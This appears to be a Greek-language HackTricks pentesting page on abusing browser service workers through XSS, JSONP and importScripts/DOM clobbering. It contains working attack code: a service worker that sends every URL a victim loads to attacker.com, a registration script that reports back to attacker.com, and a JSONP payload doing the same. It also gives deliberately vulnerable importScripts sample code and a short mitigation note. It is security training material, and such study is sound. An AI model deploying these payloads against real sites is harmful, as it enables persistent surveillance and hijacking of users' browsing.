Abusing Service Workers

Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Try Hard Security Group


Βασικές Πληροφορίες

Ένας service worker είναι ένα σενάριο που εκτελείται από τον περιηγητή σας στο παρασκήνιο, ξεχωριστά από οποιαδήποτε ιστοσελίδα, επιτρέποντας χαρακτηριστικά που δεν απαιτούν ιστοσελίδα ή αλληλεπίδραση χρήστη, βελτιώνοντας έτσι τις δυνατότητες εκτέλεσης εκτός σύνδεσης και στο παρασκήνιο. Λεπτομερείς πληροφορίες για τους service workers μπορούν να βρεθούν εδώ. Εκμεταλλευόμενοι τους service workers σε ένα ευάλωτο τομέα ιστοσελίδας, οι επιτιθέμενοι μπορούν να αποκτήσουν έλεγχο επί των αλληλεπιδράσεων του θύματος με όλες τις σελίδες εντός αυτού του τομέα.

Έλεγχος για Υπάρχοντες Service Workers

Οι υπάρχοντες service workers μπορούν να ελεγχθούν στην ενότητα Service Workers της καρτέλας Εφαρμογή στα Εργαλεία Προγραμματιστή. Ένας άλλος τρόπος είναι να επισκεφθείτε τη διεύθυνση chrome://serviceworker-internals για μια πιο λεπτομερή προβολή.

Ειδοποιήσεις Πατήστε

Οι άδειες ειδοποιήσεων πατήστε επηρεάζουν απευθείας την ικανότητα ενός service worker να επικοινωνήσει με τον διακομιστή χωρίς άμεση αλληλεπίδραση χρήστη. Αν οι άδειες αρνηθούν, περιορίζουν τη δυνατότητα του service worker να αποτελέσει συνεχή απειλή. Αντίστοιχα, η χορήγηση άδειων αυξάνει τους κινδύνους ασφαλείας ενεργοποιώντας τη λήψη και εκτέλεση πιθανών εκμεταλλεύσεων.

Επίθεση Δημιουργίας Service Worker

Για να εκμεταλλευτείτε αυτήν την ευπάθεια χρειάζεστε να βρείτε:

  • Έναν τρόπο να ανεβάσετε αυθαίρετα αρχεία JS στον διακομιστή και ένα XSS για να φορτώσετε τον service worker του ανεβασμένου αρχείου JS

  • Ένα ευάλωτο αίτημα JSONP όπου μπορείτε να διαμορφώσετε την έξοδο (με αυθαίρετο κώδικα JS) και ένα XSS για να φορτώσετε το JSONP με ένα φορτίο που θα φορτώσει ένα κακόβουλο service worker.

Στο παρακάτω παράδειγμα θα παρουσιάσω κώδικα για εγγραφή ενός νέου service worker που θα ακούει το συμβάν fetch και θα στέλνει στον διακομιστή των επιτιθέμενων κάθε φορτωμένο URL (αυτός είναι ο κώδικας που θα χρειαζόσασταν να ανεβάσετε στον διακομιστή ή να φορτώσετε μέσω μιας ευάλωτης απάντησης JSONP):

self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});

Και αυτός είναι ο κώδικας που θα καταχωρίσει τον εργαζόμενο (ο κώδικας που πρέπει να μπορείτε να εκτελέσετε καταχρηστικά ένα XSS). Σε αυτήν την περίπτωση θα σταλεί ένα αίτημα GET στον επιτιθέμενο διακομιστή ειδοποιώντας αν η καταχώριση του service worker ήταν επιτυχής ή όχι:

<script>
window.addEventListener('load', function() {
var sw = "/uploaded/ws_js.js";
navigator.serviceWorker.register(sw, {scope: '/'})
.then(function(registration) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/success", true);
xhttp2.send();
}, function (err) {
var xhttp2 = new XMLHttpRequest();
xhttp2.open("GET", "https://attacker.com/SW/error", true);
xhttp2.send();
});
});
</script>

Σε περίπτωση κατάχρησης ενός ευάλωτου σημείου JSONP, πρέπει να τοποθετήσετε την τιμή μέσα στο var sw. Για παράδειγμα:

var sw = "/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//";

Υπάρχει ένα C2 αφιερωμένο στην εκμετάλλευση των Service Workers που ονομάζεται Shadow Workers που θα είναι πολύ χρήσιμο για την κατάχρηση αυτών των ευπαθειών.

Η οδηγία cache 24 ωρών περιορίζει τη διάρκεια ζωής ενός κακόβουλου ή παραβιασμένου service worker (SW) σε το πολύ 24 ώρες μετά από μια επιδιόρθωση ευπαθειών XSS, υποθέτοντας online κατάσταση πελάτη. Για να μειώσουν την ευπαθεια, οι χειριστές ιστότοπων μπορούν να μειώσουν τον χρόνο ζωής (TTL) του script του SW. Συνιστάται επίσης στους προγραμματιστές να δημιουργήσουν ένα service worker kill-switch για γρήγορη απενεργοποίηση.

Κατάχρηση του importScripts σε ένα SW μέσω DOM Clobbering

Η λειτουργία importScripts που καλείται από ένα Service Worker μπορεί να εισάγει ένα script από διαφορετικό τομέα. Εάν αυτή η λειτουργία καλείται χρησιμοποιώντας ένα παράμετρο που μπορεί να τροποποιήσει ένας επιτιθέμενος, θα μπορούσε να εισάγει ένα JS script από τον δικό του τομέα και να λάβει XSS.

Αυτό ακόμη παρακάμπτει τις προστασίες CSP.

Παράδειγμα ευπαθούς κώδικα:

  • index.html

<script>
navigator.serviceWorker.register('/dom-invader/testcases/augmented-dom-import-scripts/sw.js' + location.search);
// attacker controls location.search
</script>
  • sw.js

const searchParams = new URLSearchParams(location.search);
let host = searchParams.get('host');
self.importScripts(host + "/sw_extra.js");
//host can be controllable by an attacker

Με DOM Clobbering

Για περισσότερες πληροφορίες σχετικά με το τι είναι το DOM Clobbering, ελέγξτε:

pageDom Clobbering

Αν ο URL/domain όπου το SW χρησιμοποιείται για να καλέσει το importScripts βρίσκεται μέσα σε ένα στοιχείο HTML, είναι δυνατό να το τροποποιήσετε μέσω DOM Clobbering για να κάνετε το SW να φορτώσει ένα script από τον δικό σας τομέα.

Για ένα παράδειγμα αυτού, ελέγξτε το σύνδεσμο αναφοράς.

Αναφορές

Try Hard Security Group

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Last updated